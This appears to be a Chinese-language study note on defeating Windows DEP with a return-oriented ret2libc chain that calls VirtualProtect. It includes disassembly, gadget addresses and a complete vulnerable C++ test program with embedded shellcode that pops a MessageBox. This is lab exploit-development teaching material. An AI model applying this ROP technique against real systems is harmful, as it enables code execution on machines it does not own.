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OD: DEP - Ret2Libc using VirtualProtect
DEP 的四种工作模式中，OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护，这里如果一个程序自身需要从堆栈中取指令，则会发生错误。为了解决这个问题，MS 在 kernel32.dll 中提供了修改内存属性的 VirtualProtect() 函数，可以修改可执行属性。故一个新的思路的构造参数并利用 VirutalProtect() 修改 shellcode 为可执行，进而绕过 DEP。
BOOL VirtualProtect{ LPVOID lpAddress, // 需要修改属性的内存的起始地址 DWORD dwSize, // 大小 DWORD flNewProtect, // 新属性，其中可执行可读写属性 PAGE_EXECUTE_READWRITE 值为 0x40 PDWORD lpflOldProtect // 原始属性的保存地址};
接下来演示如何动态定位 shellcode，然后通过 VirtualProtect() 修改 shellcode 属性并触发。因为参数中含有 null，为便于演示起见，漏洞函数设为 memcpy()，同时关闭 SafeSEH 和 GS 保护。
VirtualProtect() 函数的反汇编代码如下：
1 7C801AD4 > 8BFF MOV EDI,EDI ; ret2libc.004034F8 2 7C801AD6 55 PUSH EBP 3 7C801AD7 8BEC MOV EBP,ESP 4 7C801AD9 FF75 14 PUSH DWORD PTR SS:[EBP+14] ; 设置参数 lpflOldProtect 5 7C801ADC FF75 10 PUSH DWORD PTR SS:[EBP+10] ; 设置参数 flNewProtect : 0x40 6 7C801ADF FF75 0C PUSH DWORD PTR SS:[EBP+C] ; 设置参数 dwSize 7 7C801AE2 FF75 08 PUSH DWORD PTR SS:[EBP+8] ; 设置参数 lpAddress 8 7C801AE5 6A FF PUSH -1 9 7C801AE7 E8 75FFFFFF CALL kernel32.VirtualProtectEx ; 转入 VirtualProtectEx()10 7C801AEC 5D POP EBP11 7C801AED C2 1000 RETN 10
由以上反汇编代码可知，只要在 [ebp+0x8] ~ [ebp+0x18] 的位置放置好参数，再转入 0x7C801AD9 就可以关闭 DEP 了。
接下来布置 shellcode。首先修复被破坏的 ebp（为何修复参见前一篇笔记）：push esp, pop ebp, retn 4。
关闭 DEP 之前需要将 ebp+8 设置为栈帧中的可操作位置，并将 ebp+0x14 设置为一个可写的位置。修复 ebp 之后，esp 指向了 ebp+8 的位置。此时如果能使 esp 指向 ebp+0xC 并 push esp，那么 ebp+8 就位于可操作范围内了。所以先使用一条 retn，既可以使 esp 指向 ebp+0xC，又能掌握程序的控制权。
shellcode 如下：
1 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"2 ......3 "\xE5\xE0\x72\x7D" // return address, adjust ebp : push esp, pop ebp, retn 44 "\x40\x26\xD8\x7D" // retn5 "\x90\x90\x90\x90"6 "\x4A\xD4\xB8\x7D" // push esp call edi
这里采用上一篇笔记中说到的方法，在第 3 行之前将 edi 指向目标 code，然后布置栈帧，在第 6 行处 call edi 执行目标 code。执行完上述第 6 行的 push esp 后，ebp+8 处的指针就指向可操作的地址了（此时 ebp+8 == esp == [esp+4]），接下来要布置 ebp+0x14，使其指向可写的内存。然后再考虑在 ebp+0x14 写入可写的指针：
1 "\x21\xAf\xCB\x7D" // return address : pop edi retn2 "\x40\x12\x5A\x78" // pop ecx,pop ebx,pop eax,retn3 "\xE5\xE0\x72\x7D" // adjust ebp : push esp, pop ebp, retn 44 "\x40\x26\xD8\x7D" // retn5 "\x90\x90\x90\x90"6 "\x0A\xDC\xBA\x7D" // push esp jmp edi(pop ecx,pop ebx,pop eax,retn)
1 // ret2libc.cpp : Defines the entry point for the console application. 2 // 3 // env 4 // * windows xp sp3 with /noexecute=optout 5 // * vs2008 with Optimization/GS/SafeSEH disabled 6 // Additional Options to disable SafeSEH : /SAFESEH:NO to project_properties - Linker - Command Line 7 8 #include "stdafx.h" 9 #include <stdlib.h>10 #include <string.h>11 #include <stdio.h>12 #include <windows.h>13 14 char shellcode[]=15 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"16 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"17 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"18 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"19 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"20 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"21 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"23 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"24 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"25 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"26 "\x94\xB0\x6C\x7D" // pop eax retn27 "\x69\x36\x5C\x7D" // pop edi,pop ebx,pop esi,retn28 "\xE5\xE0\x72\x7D" // adjust ebp : push esp, pop ebp, retn 429 "\x6C\x36\x5C\x7D" // retn30 "\x90\x90\x90\x90"31 "\xC6\xC6\xEB\x77" // push esp jmp eax32 "\xFF\x00\x00\x00" // size of memory-to-chmod33 "\x40\x00\x00\x00" // attributes of memory-to-chmod34 "\xC6\xC6\xEB\x77" // push esp jmp eax35 "\x90\x90\x90\x90"36 "\x90\x90\x90\x90"37 "\xD9\x1A\x80\x7C" // chmod memory : VirtualProtect() ends with pop ebp, retn 1038 "\x90\x90\x90\x90"39 "\xEB\x30\x5A\x7D" // jmp esp40 "\x90\x90\x90\x90"41 "\x90\x90\x90\x90"42 "\x90\x90\x90\x90"43 "\x90\x90\x90\x90"44 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"45 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"46 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"47 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"48 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"49 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"50 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"51 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"52 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"53 "\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53"54 "\xFF\x57\xF8" // 163 bytes pop window shellcode (MessageBoxA)55 ;56 void test()57 {58 char str[168];59 memcpy(str,shellcode,425);60 }61 int main()62 {63 char tmp[1024];64 HINSTANCE hInst = LoadLibrary(_T("shell32.dll")); // for more tramp opcode65 //VirtualProtect(0,0,0,0);66 test();67 return 0;68 }
Hint :
一，在 /NoExec=OptOut 的情况下，需要通过系统属性将 OllyDbg 添加到 DEP 的白名单中
二，突破 DEP 之前的踏板指令，需要在可执行区域，这一点害我走了弯路。可以用 OllyFindAddr 插件，如果使用后的 Log 太长不方便看，可以先 Log to File
三，这里用到的就是传说中的 ROP（Return-Oriented-Programming），利用思路值得掌握！
OD: DEP - Ret2Libc using VirtualProtect